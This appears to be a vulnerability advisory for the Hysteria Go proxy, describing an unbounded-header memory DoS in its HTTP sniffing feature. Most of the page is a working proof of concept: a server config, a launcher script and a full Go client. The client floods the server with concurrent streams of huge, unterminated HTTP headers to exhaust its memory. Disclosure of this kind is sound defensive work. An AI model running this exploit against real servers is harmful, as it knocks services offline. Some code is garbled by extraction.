PT-2026-56100 · Go · Github.Com/Apernet/Hysteria

Publicado

2026-06-26

·

Atualizado

2026-06-26

CVSS v3.1

7.5

Alta

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Sending an excessively large header by an attacker could lead to a server-side DoS attack.

Details

The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including r r , leading to ServerDoS and OutOfMemory errors.

PoC

server.yaml
listen: 127.0.0.1:8443

tls:
 cert: poc server.crt
 key: poc server.key

auth:
 type: password
 password: sniff-poc-password

sniff:
 enable: true
 timeout: 10s
 rewriteDomain: false
 tcpPorts: 80

masquerade:
 type: string
 string:
  content: nope
  statusCode: 404
poc.sh
#!/bin/bash
go build poc sniff http dos.go
./poc sniff http dos 
  --server 127.0.0.1:8443 
  --auth sniff-poc-password 
  --insecure 
  --target-host 192.0.2.1 
  --target-port 80 
  --connections 16 
  --header-bytes 838860800 
  --linger 12
poc.go
//go:build poc

package main

import (
	"crypto/sha256"
	"crypto/x509"
	"encoding/hex"
	"errors"
	"flag"
	"fmt"
	"net"
	"strings"
	"sync"
	"time"

	coreclient "github.com/apernet/hysteria/core/v2/client"
	"github.com/apernet/hysteria/extras/v2/obfs"
)

type attackConnFactory struct {
	obfuscator obfs.Obfuscator
}

func (f *attackConnFactory) New( net.Addr) (net.PacketConn, error) {
	conn, err := net.ListenUDP("udp", nil)
	if err != nil {
		return nil, err
	}
	if f.obfuscator == nil {
		return conn, nil
	}
	return obfs.WrapPacketConn(conn, f.obfuscator), nil
}

func buildHeaderPayload(totalBytes, chunkSize int) []byte {
	prefix := []byte("GET / HTTP/1.1r
Host: victimr
User-Agent: hy2-sniff-pocr
")
	if totalBytes <= len(prefix) {
		return prefix[:totalBytes]
	}
	out := make([]byte, 0, totalBytes)
	out = append(out, prefix...)
	linePayload := chunkSize - 32
	if linePayload < 64 {
		linePayload = 64
	}
	for i := 0; len(out) < totalBytes; i++ {
		line := fmt.Sprintf("X-Fill-%06d: %sr
", i, strings.Repeat("A", linePayload))
		remain := totalBytes - len(out)
		if len(line) > remain {
			line = line[:remain]
		}
		out = append(out, line...)
	}
	// 故意不追加最后一个空行 r
,迫使服务端在 sniff timeout 内持续读 header。
	return out
}

func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
	serverAddr, err := net.ResolveUDPAddr("udp", server)
	if err != nil {
		return nil, err
	}
	cfg := &coreclient.Config{
		ConnFactory: &attackConnFactory{},
		ServerAddr: serverAddr,
		Auth:    auth,
		TLSConfig: coreclient.TLSConfig{
			InsecureSkipVerify: insecure,
		},
	}
	host, , err := net.SplitHostPort(server)
	if err == nil && sni == "" && net.ParseIP(host) == nil {
		cfg.TLSConfig.ServerName = host
	}
	if sni != "" {
		cfg.TLSConfig.ServerName = sni
	}
	if pinSHA256 != "" {
		nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
		cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte,  [][]*x509.Certificate) error {
			if len(rawCerts) == 0 {
				return errors.New("no peer certificate")
			}
			h := sha256.Sum256(rawCerts[0])
			if hex.EncodeToString(h[:]) == nHash {
				return nil
			}
			return errors.New("no certificate matches the pinned hash")
		}
	}
	if salamanderPSK != "" {
		ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
		if err != nil {
			return nil, err
		}
		cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
	}
	c, , err := coreclient.NewClient(cfg)
	return c, err
}

func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
	conn, err := c.TCP(target)
	if err != nil {
		results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
		return
	}
	defer conn.Close()
	 = conn.SetWriteDeadline(time.Now().Add(linger))
	sent := 0
	for sent < len(payload) {
		end := sent + sendChunk
		if end > len(payload) {
			end = len(payload)
		}
		n, err := conn.Write(payload[sent:end])
		if err != nil {
			results[id] = fmt.Sprintf("worker=%d partial sent=%d error=%v", id, sent, err)
			return
		}
		sent += n
	}
	time.Sleep(linger)
	results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}

func main() {
	server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
	auth := flag.String("auth", "", "Hysteria auth string/password")
	sni := flag.String("sni", "", "optional TLS SNI")
	insecure := flag.Bool("insecure", false, "skip TLS verification")
	pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
	salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
	targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
	targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
	connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
	headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
	buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
	sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
	lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
	flag.Parse()

	if *server == "" || *auth == "" {
		panic("--server and --auth are required")
	}
	if !*insecure && *pinSHA256 == "" {
		panic("provide one of: --insecure / --pin-sha256")
	}

	payload := buildHeaderPayload(*headerBytes, *buildChunk)
	target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
	linger := time.Duration(*lingerSec * float64(time.Second))

	fmt.Printf("[*] server=%s target=%s streams=%d payload=%d
", *server, target, *connections, len(payload))

	c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
	if err != nil {
		panic(err)
	}
	defer c.Close()

	results := make([]string, *connections)
	var wg sync.WaitGroup
	start := time.Now()
	for i := 0; i < *connections; i++ {
		wg.Add(1)
		go func(i int) {
			defer wg.Done()
			worker(i, c, target, payload, *sendChunk, linger, results)
		}(i)
	}

	wg.Wait()
	fmt.Printf("[*] elapsed=%s
", time.Since(start).Round(time.Millisecond))
	for , line := range results {
		fmt.Printf("  %s
", line)
	}
	fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}

Impact

Testing showed that the server side used a maximum of 16GB.
Server memory DoS and may cause OOM.

Correção

Allocation of Resources Without Limits

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-JQC5-2P7Q-FQFC

Produtos afetados

Github.Com/Apernet/Hysteria